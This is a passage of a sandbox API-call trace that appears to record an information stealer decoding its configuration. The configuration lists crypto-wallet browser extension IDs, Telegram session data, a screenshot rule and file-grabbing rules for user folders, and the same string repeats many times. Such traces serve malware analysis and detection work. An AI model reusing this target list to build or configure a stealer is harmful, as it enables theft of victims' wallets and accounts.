Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2376 [0260.583] LocalAlloc (uFlags=0x40, uBytes=0x1310) returned 0x6bcee8 [0260.583] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.583] LocalFree (hMem=0x6bcee8) returned 0x0 [0260.583] StrStrW (lpFirst="ews_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.583] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.584] LocalFree (hMem=0x6b9720) returned 0x0 [0260.584] LocalFree (hMem=0x6ba9b8) returned 0x0 [0260.584] LocalFree (hMem=0x6bbc50) returned 0x0 [0260.584] StrStrW (lpFirst="ews_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.584] lstrlenW (lpString="ews_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2300 [0260.585] lstrlenW (lpString="ews_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2300 [0260.585] LocalAlloc (uFlags=0x40, uBytes=0x11f8) returned 0x6b9720 [0260.585] lstrlenW (lpString="ews_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2300 [0260.585] LocalAlloc (uFlags=0x40, uBytes=0x11f8) returned 0x6ba920 [0260.585] lstrlenW (lpString="ews_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2300 [0260.585] LocalAlloc (uFlags=0x40, uBytes=0x11f8) returned 0x6bbb20 [0260.585] StrStrW (lpFirst="ews_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension 